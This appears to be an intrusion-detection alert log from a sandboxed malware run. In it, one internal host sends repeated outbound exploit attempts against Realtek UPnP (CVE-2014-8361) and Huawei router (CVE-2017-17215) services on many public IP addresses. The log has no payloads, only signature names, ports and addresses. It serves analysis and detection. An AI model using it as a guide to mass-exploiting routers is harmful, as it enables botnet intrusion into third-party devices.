07/20/24-23:10:46.611606	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34226	52869	192.168.2.15	192.147.178.21
07/20/24-23:10:51.984562	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46822	52869	192.168.2.15	76.120.98.58
07/20/24-23:10:40.179277	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35850	52869	192.168.2.15	166.167.121.109
07/20/24-23:10:46.795245	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46452	37215	192.168.2.15	58.59.198.252
07/20/24-23:10:41.230206	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58572	37215	192.168.2.15	100.131.155.71
07/20/24-23:10:46.756315	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34030	37215	192.168.2.15	197.170.233.186
07/20/24-23:10:40.658204	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56918	37215	192.168.2.15	117.238.162.201
07/20/24-23:11:03.390577	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44008	37215	192.168.2.15	197.100.41.196
07/20/24-23:10:59.023708	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36506	37215	192.168.2.15	197.147.171.117
07/20/24-23:10:43.423928	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36688	52869	192.168.2.15	77.201.115.63
07/20/24-23:10:46.809208	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56984	37215	192.168.2.15	157.65.221.230
07/20/24-23:10:40.607363	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49402	37215	192.168.2.15	197.181.244.208
07/20/24-23:10:41.220653	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40522	37215	192.168.2.15	197.248.148.38
07/20/24-23:11:03.371424	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55440	37215	192.168.2.15	157.100.184.225
07/20/24-23:10:44.462232	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40994	52869	192.168.2.15	197.33.21.86
07/20/24-23:10:40.656564	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34744	37215	192.168.2.15	41.238.31.136
07/20/24-23:10:47.573053	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39056	52869	192.168.2.15	104.87.188.192
07/20/24-23:10:39.434366	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47276	37215	192.168.2.15	197.233.147.184
07/20/24-23:10:52.517494	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52872	37215	192.168.2.15	42.176.63.143
07/20/24-23:10:47.708016	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44240	52869	192.168.2.15	183.106.234.57
07/20/24-23:10:49.425318	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55952	37215	192.168.2.15	157.249.128.39
07/20/24-23:10:47.679048	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44138	52869	192.168.2.15	171.65.238.111
07/20/24-23:10:59.027427	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60814	37215	192.168.2.15	41.136.185.124
07/20/24-23:10:43.412001	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50482	52869	192.168.2.15	45.153.62.62
07/20/24-23:10:59.006202	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54170	37215	192.168.2.15	207.204.42.129
07/20/24-23:10:41.693872	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47850	37215	192.168.2.15	197.150.107.212
07/20/24-23:10:39.889709	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54014	52869	192.168.2.15	116.118.210.76
07/20/24-23:10:49.342527	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35014	37215	192.168.2.15	110.197.204.146
07/20/24-23:10:52.033728	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59418	52869	192.168.2.15	74.83.241.55
07/20/24-23:10:44.565535	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45664	52869	192.168.2.15	54.158.102.139
07/20/24-23:11:06.696229	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33494	37215	192.168.2.15	41.89.22.57
07/20/24-23:10:47.846012	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40634	52869	192.168.2.15	95.10.158.177
07/20/24-23:10:43.191370	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52400	52869	192.168.2.15	184.170.67.27
07/20/24-23:10:51.940105	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40614	52869	192.168.2.15	173.221.148.228
07/20/24-23:10:42.642008	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52644	52869	192.168.2.15	65.211.208.187
07/20/24-23:10:41.221769	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44340	37215	192.168.2.15	197.197.252.182
07/20/24-23:10:52.569477	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54302	37215	192.168.2.15	197.5.14.159
07/20/24-23:10:59.326324	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33730	37215	192.168.2.15	197.241.133.198
07/20/24-23:10:44.392579	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39070	52869	192.168.2.15	60.216.97.213
07/20/24-23:10:59.055793	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58916	37215	192.168.2.15	197.137.187.253
07/20/24-23:10:44.251532	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43946	52869	192.168.2.15	31.77.81.9
07/20/24-23:11:03.371424	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33696	37215	192.168.2.15	197.62.191.193
07/20/24-23:11:06.683012	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53910	37215	192.168.2.15	157.64.176.50
07/20/24-23:10:39.486941	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38188	37215	192.168.2.15	197.199.57.112
07/20/24-23:10:39.185538	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46572	52869	192.168.2.15	77.64.253.97
07/20/24-23:11:03.402557	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43358	37215	192.168.2.15	41.86.19.36
07/20/24-23:10:51.955739	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51558	52869	192.168.2.15	130.142.173.122
07/20/24-23:10:42.619542	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53718	52869	192.168.2.15	157.142.69.44
07/20/24-23:10:39.485535	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58804	37215	192.168.2.15	197.162.71.183
07/20/24-23:10:51.909417	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38412	52869	192.168.2.15	144.224.217.126
07/20/24-23:10:46.779706	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35096	37215	192.168.2.15	40.249.110.83
07/20/24-23:10:52.005273	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32828	52869	192.168.2.15	135.178.159.192
07/20/24-23:11:06.669620	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60090	37215	192.168.2.15	157.125.87.19
07/20/24-23:10:52.572631	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39350	37215	192.168.2.15	41.141.107.129
07/20/24-23:11:03.390577	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51950	37215	192.168.2.15	41.57.56.21
07/20/24-23:10:39.479939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59708	37215	192.168.2.15	41.162.253.225
07/20/24-23:10:41.232616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36782	37215	192.168.2.15	157.206.105.136
07/20/24-23:10:51.992277	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41282	52869	192.168.2.15	61.200.31.129
07/20/24-23:10:39.479427	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56498	37215	192.168.2.15	205.121.31.87
07/20/24-23:10:47.771235	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40886	52869	192.168.2.15	60.47.44.203
07/20/24-23:10:51.969868	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52510	52869	192.168.2.15	90.138.160.122
07/20/24-23:11:03.365384	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34842	37215	192.168.2.15	41.191.133.48
07/20/24-23:10:51.992277	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51436	52869	192.168.2.15	72.211.196.78
07/20/24-23:10:59.053037	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47032	37215	192.168.2.15	157.182.176.117
07/20/24-23:10:49.370142	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43250	37215	192.168.2.15	173.31.16.145
07/20/24-23:10:39.479427	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48620	37215	192.168.2.15	41.63.90.165
07/20/24-23:10:44.688579	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49946	52869	192.168.2.15	221.160.194.232
07/20/24-23:11:03.394674	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56700	37215	192.168.2.15	157.231.170.212
07/20/24-23:10:51.984562	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44820	52869	192.168.2.15	111.197.150.31
07/20/24-23:10:42.273908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50906	37215	192.168.2.15	157.31.186.62
07/20/24-23:10:47.812151	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45356	52869	192.168.2.15	223.235.223.229
07/20/24-23:10:48.599765	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59432	52869	192.168.2.15	27.73.191.157
07/20/24-23:10:49.402846	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46458	37215	192.168.2.15	41.230.250.188
07/20/24-23:10:41.230206	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47042	37215	192.168.2.15	67.216.209.193
07/20/24-23:10:46.756315	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33930	37215	192.168.2.15	41.91.56.136
07/20/24-23:10:46.795245	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40972	37215	192.168.2.15	157.218.237.79
07/20/24-23:10:49.409236	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60068	37215	192.168.2.15	122.9.208.165
07/20/24-23:11:06.688603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47108	37215	192.168.2.15	197.124.145.235
07/20/24-23:10:49.409236	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41694	37215	192.168.2.15	98.109.201.53
07/20/24-23:10:40.649994	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37342	37215	192.168.2.15	157.86.230.135
07/20/24-23:10:59.011093	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50002	37215	192.168.2.15	41.202.223.13
07/20/24-23:10:39.485535	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49420	37215	192.168.2.15	197.164.89.253
07/20/24-23:10:52.538168	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58228	37215	192.168.2.15	41.184.178.177
07/20/24-23:10:46.750827	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37674	37215	192.168.2.15	197.19.165.238
07/20/24-23:11:06.678578	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35626	37215	192.168.2.15	197.210.66.175
07/20/24-23:10:59.029814	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47810	37215	192.168.2.15	157.43.224.104
07/20/24-23:11:06.702559	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39506	37215	192.168.2.15	137.28.220.250
07/20/24-23:10:42.266162	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33384	37215	192.168.2.15	197.4.99.70
07/20/24-23:10:49.377082	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49602	37215	192.168.2.15	13.183.157.226
07/20/24-23:10:51.955739	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57370	52869	192.168.2.15	129.146.5.212
07/20/24-23:10:43.810881	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57330	52869	192.168.2.15	152.198.105.114
07/20/24-23:10:39.433488	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38926	37215	192.168.2.15	41.253.112.25
07/20/24-23:10:58.986541	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33844	37215	192.168.2.15	41.95.29.120
07/20/24-23:10:52.555606	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46878	37215	192.168.2.15	41.201.237.95
07/20/24-23:10:59.011093	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50748	37215	192.168.2.15	157.85.119.244
07/20/24-23:10:52.555606	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32964	37215	192.168.2.15	41.93.149.174
07/20/24-23:11:03.339788	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50666	37215	192.168.2.15	87.49.15.99
07/20/24-23:10:42.255257	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40604	37215	192.168.2.15	197.204.52.71
07/20/24-23:11:03.396755	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33264	37215	192.168.2.15	41.20.234.243
07/20/24-23:10:51.966763	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35352	52869	192.168.2.15	217.150.234.15
07/20/24-23:10:39.196095	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34640	52869	192.168.2.15	211.42.169.91
07/20/24-23:10:42.630640	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54806	52869	192.168.2.15	116.118.210.76
07/20/24-23:10:47.883920	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36094	52869	192.168.2.15	151.138.171.183
07/20/24-23:10:49.409236	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42528	37215	192.168.2.15	17.132.101.117
07/20/24-23:10:51.898652	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50562	52869	192.168.2.15	70.33.189.136
07/20/24-23:10:46.865461	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48062	37215	192.168.2.15	176.12.151.250
07/20/24-23:10:41.230206	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39516	37215	192.168.2.15	197.104.208.132
07/20/24-23:10:52.581035	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44428	37215	192.168.2.15	157.38.228.1
07/20/24-23:10:39.202222	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41184	52869	192.168.2.15	67.65.153.119
07/20/24-23:10:46.755097	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52152	37215	192.168.2.15	41.108.168.224
07/20/24-23:10:46.778936	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51300	37215	192.168.2.15	157.80.252.89
07/20/24-23:10:51.967169	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48142	52869	192.168.2.15	201.121.155.5
07/20/24-23:10:42.267551	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44126	37215	192.168.2.15	41.216.252.34
07/20/24-23:10:52.558618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56932	37215	192.168.2.15	197.0.82.115
07/20/24-23:10:39.996007	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57284	52869	192.168.2.15	64.61.109.158
07/20/24-23:11:06.676715	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60530	37215	192.168.2.15	41.206.83.67
07/20/24-23:10:39.479427	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41170	37215	192.168.2.15	57.196.110.109
07/20/24-23:10:51.923394	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35708	52869	192.168.2.15	46.169.99.175
07/20/24-23:10:40.065143	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47514	52869	192.168.2.15	169.249.196.201
07/20/24-23:11:03.378464	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41260	37215	192.168.2.15	82.183.236.197
07/20/24-23:10:59.023708	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45402	37215	192.168.2.15	157.167.57.151
07/20/24-23:10:47.429430	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44782	52869	192.168.2.15	76.120.98.58
07/20/24-23:11:06.689939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52606	37215	192.168.2.15	157.246.30.254
07/20/24-23:10:41.231187	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50234	37215	192.168.2.15	68.91.193.135
07/20/24-23:10:43.830203	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58454	52869	192.168.2.15	178.155.139.110
07/20/24-23:10:52.005273	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52650	52869	192.168.2.15	35.212.114.203
07/20/24-23:10:51.969868	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36862	52869	192.168.2.15	197.242.200.156
07/20/24-23:10:42.625706	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43008	52869	192.168.2.15	8.126.91.237
07/20/24-23:10:45.247099	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50042	52869	192.168.2.15	63.181.216.41
07/20/24-23:10:51.966763	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51428	52869	192.168.2.15	221.160.194.232
07/20/24-23:10:59.094768	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43908	37215	192.168.2.15	150.111.127.113
07/20/24-23:10:43.793685	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41340	52869	192.168.2.15	90.25.2.138
07/20/24-23:11:06.683012	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52678	37215	192.168.2.15	164.163.203.10
07/20/24-23:10:45.047768	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44224	52869	192.168.2.15	137.150.64.194
07/20/24-23:10:46.735704	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53204	37215	192.168.2.15	41.113.148.221
07/20/24-23:10:39.430692	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59080	37215	192.168.2.15	166.129.166.145
07/20/24-23:11:06.662676	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56732	37215	192.168.2.15	157.219.131.182
07/20/24-23:10:52.581805	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39590	37215	192.168.2.15	39.179.230.235
07/20/24-23:11:06.678578	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53772	37215	192.168.2.15	157.79.234.73
07/20/24-23:10:55.915610	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53646	37215	192.168.2.15	157.27.215.65
07/20/24-23:10:59.050850	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33050	37215	192.168.2.15	197.240.225.195
07/20/24-23:10:51.992632	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36096	52869	192.168.2.15	223.213.191.10
07/20/24-23:10:52.021884	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59256	52869	192.168.2.15	77.15.142.198
07/20/24-23:10:49.377081	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43078	37215	192.168.2.15	41.233.118.212
07/20/24-23:10:42.253017	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33244	37215	192.168.2.15	157.22.166.123
07/20/24-23:10:44.016301	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59544	52869	192.168.2.15	144.40.158.145
07/20/24-23:11:06.686627	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34024	37215	192.168.2.15	88.19.102.203
07/20/24-23:10:51.902171	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53964	52869	192.168.2.15	112.72.53.27
07/20/24-23:10:39.493966	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48076	37215	192.168.2.15	41.101.127.58
07/20/24-23:10:59.055793	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35712	37215	192.168.2.15	197.96.72.249
07/20/24-23:10:41.227514	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42428	37215	192.168.2.15	197.5.58.230
07/20/24-23:10:39.478846	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54142	37215	192.168.2.15	197.39.42.138
07/20/24-23:10:39.487319	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50200	37215	192.168.2.15	41.162.208.185
07/20/24-23:10:42.267551	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56776	37215	192.168.2.15	41.166.211.228
07/20/24-23:10:51.915608	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38824	52869	192.168.2.15	134.159.51.161
07/20/24-23:10:51.905303	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52046	52869	192.168.2.15	25.16.163.132
07/20/24-23:10:39.478846	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35092	37215	192.168.2.15	157.149.230.36
07/20/24-23:10:45.545364	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58380	52869	192.168.2.15	198.78.111.199
07/20/24-23:10:49.395188	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49496	37215	192.168.2.15	178.226.102.10
07/20/24-23:10:52.572631	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58262	37215	192.168.2.15	221.241.44.77
07/20/24-23:11:06.702559	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59562	37215	192.168.2.15	157.214.13.158
07/20/24-23:10:39.473748	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35514	37215	192.168.2.15	173.213.209.100
07/20/24-23:10:51.957773	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47926	52869	192.168.2.15	143.46.197.220
07/20/24-23:10:42.269853	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37528	37215	192.168.2.15	72.101.131.182
07/20/24-23:11:06.689939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60822	37215	192.168.2.15	157.55.126.137
07/20/24-23:10:44.070152	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60640	52869	192.168.2.15	195.250.121.139
07/20/24-23:10:49.421978	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42412	37215	192.168.2.15	197.220.171.96
07/20/24-23:10:40.653603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37442	37215	192.168.2.15	41.103.136.234
07/20/24-23:10:39.493966	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43782	37215	192.168.2.15	166.151.137.80
07/20/24-23:10:42.267699	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36198	37215	192.168.2.15	41.185.22.151
07/20/24-23:10:56.007995	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45080	37215	192.168.2.15	129.180.104.22
07/20/24-23:10:48.350471	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40574	52869	192.168.2.15	148.178.43.17
07/20/24-23:10:52.607833	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60932	37215	192.168.2.15	197.51.245.125
07/20/24-23:10:39.478846	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49010	37215	192.168.2.15	157.5.164.72
